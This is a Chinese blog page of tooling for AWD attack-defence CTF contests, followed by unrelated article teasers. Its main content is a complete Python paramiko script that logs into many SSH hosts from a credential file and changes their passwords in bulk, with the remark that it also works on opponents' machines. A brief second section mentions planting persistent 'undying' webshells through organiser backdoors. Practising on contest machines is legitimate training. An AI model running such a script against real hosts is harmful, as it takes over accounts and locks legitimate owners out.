情景五:批量修改ssh密码

拿到官方靶机第一件事改自己机器的ssh密码,当然也可以改别人的密码~

import paramiko
import sys ssh_clients = []
timeout = 5
new_password = "qing_@3389.." def get_flag():
pass class SSH_Client():
def __init__(self, host, port, username, password):
self.is_root = False
self.host = host
self.port = port
self.username = username
self.password = password
self.ssh = paramiko.SSHClient()
self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout) def exec_command(self, command):
stdin, stdout, stderr = self.ssh.exec_command(command)
return stdin, stdout, stderr def change_password(self):
stdin, stdout, stderr = self.exec_command("passwd")
if self.username != "root":
stdin.write("%s\n" % self.password)
stdin.write("%s\n" % new_password)
stdin.write("%s\n" % new_password)
stdout.read()
if "success" in stderr.read().decode('utf-8'):
self.password = new_password
return True
else:
return False def save_log(self, filename):
with open(filename, "a+") as f:
f.write("%s %s %s %s\n" % (self.host, self.port, self.username, self.password)) if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage:")
print("\t python %s [FILENAME]" % (sys.argv[0]))
exit(1)
filename = sys.argv[1]
print(" [+] Loading file : %s" % filename)
with open(filename) as f:
for line in f:
line = line.rstrip("\n")
data = line.split(" ")
host = data[0]
port = int(data[1])
username = data[2]
password = data[3]
print(" [+] Trying login : %s" % host)
try:
ssh_client = SSH_Client(host, port, username, password)
except Exception as e:
print(" [-] %s" % e)
continue
ssh_clients.append(ssh_client)
print(" [+] Login finished. ")
print(" [+} Got [%d] clients. " % len(ssh_clients))
if len(ssh_clients) == 0:
exit()
print(" [+] Starting changing password. ")
for ssh_client in ssh_clients:
if ssh_client.change_password():
print(" [+] %s (Success!)" % ssh_client.host)
ssh_client.save_log("success.log")
else:
print(" [+] %s (Failed!)" % ssh_client.host)
print(" [+] something like interesting!!! ")

情景六:批量种马

审计源码第一件事可能就找到官方的预留后门,开始第一波种马 ,这里用脚本直接用官方的马种不死马

AWD攻防工具脚本汇总(二)的更多相关文章

  1. AWD攻防工具脚本汇总(一)

    最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本 以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~ 这里从各种情景和需求中去总结工具和脚本的使用   情 ...

  2. CTF线下awd攻防文件监控脚本

    CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...

  3. Ubunut18 安装docker环境&&AWD攻防平台部署

    docker:有两个版本:docker-ce(社区版)和docker-ee(企业版). 参考官网地址:https://docs.docker.com/engine/installation/linux ...

  4. PHP常见面试题汇总(二)

    PHP常见面试题汇总(二)   //第51题:统计一维数组中所有值出现的次数?返回一个数组,其元素的键名是原数组的值;键值是该值在原数组中出现的次数 $array=array(4,5,1,2,3,1, ...

  5. (转载)android 一些工具类汇总

    android 一些工具类汇总 作者:曾田生z 字体:[增加 减小] 类型:转载 时间:2016-08-14我要评论 本文给大家汇总介绍了一些常用的Android工具类,非常的简单实用,有需要的小伙伴 ...

  6. embed-it_Integrator memory compile工具使用之二

    embed-it_Integrator memory compile工具使用之二 主要内容 使用ish接口自动加载memory的cfg文件运行生成memory 脚本内容 打开Integrate &am ...

  7. AWD攻防技战法

    round1 弱口令 cat /etc/passwd  查看用户信息 修改用户密码(passwd  username) 通过ssh弱口令批量getshell  (通过msf的auxiliary/sca ...

  8. Linux shell脚本编程(二)

    Linux shell脚本编程(二) 练习:求100以内所有偶数之和; 使用至少三种方法实现; 示例1: #!/bin/bash # declare -i sum=0 #声明一个变量求和,初始值为0 ...

  9. PowerShell工具脚本---按行数切割大文本文件

    我编写的PowerShell工具脚本,[按行数切割大(文本)文件],生成n个小文件. 主要目的是为了能够让excel快速处理.或用脚本并发处理文本. 注意: 1 如果有必要,你可以先用其他工具,把大文 ...

随机推荐

  1. .Net基础篇_学习笔记_第四天_if结构

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...

  2. 增删改查——PreparedStatement接口

    1.添加 package pers.Pre.add; import java.sql.Connection; import java.sql.DriverManager; import java.sq ...

  3. Azure Application Insights REST API使用教程

    本文是Azure Application Insights REST API的简单介绍,并会包含一个通过Python消费API的示例/小工具. 新加入的team中的一项工作是制作日常的运维报表,制作方 ...

  4. TestNG(十) 依赖测试

    package com.course.testng.suite; import org.testng.annotations.Test; public class DepenTest { @Test ...

  5. (七十)c#Winform自定义控件-饼状图

    前提 入行已经7,8年了,一直想做一套漂亮点的自定义控件,于是就有了本系列文章. GitHub:https://github.com/kwwwvagaa/NetWinformControl 码云:ht ...

  6. 《Java7并发编程实战手册》读书笔记

    一.线程管理 1.线程的创建和运行 创建线程的2种方式: 继承Thread类,并覆盖run()方法 创建一个实现Runnable接口的类.使用带参数的Thread构造器来创建Thread对象 每个Ja ...

  7. docker安装centos6

    1,获取Centos镜像>docker pull centos:centos6 2,查看镜像运行情况>docker images centos 3,在容器下运行 shell bash> ...

  8. 数据结构之二叉树篇卷三 -- 二叉树非递归遍历(With Java)

    Nonrecursive Traversal of Binary Tree First I wanna talk about why we should <code>Stack</c ...

  9. 88.CSS---Grid 网格布局教程

    grid 兼容性查看请点此处 最新Grid兼容 grid 布局就是给父元素(容器)添加display:grid,然后使子元素(项目)改变布局, 1 2 3 4 5 6 7 8 9 上面九个正方形的代码 ...

  10. Mysql INSTR函数

    在Mysql中,可以使用INSTR(str,substr)函数,用于在一个字符串(str)中搜索指定的字符(substr),返回找到指定的字符的第一个位置(index),index是从1开始计算,如果 ...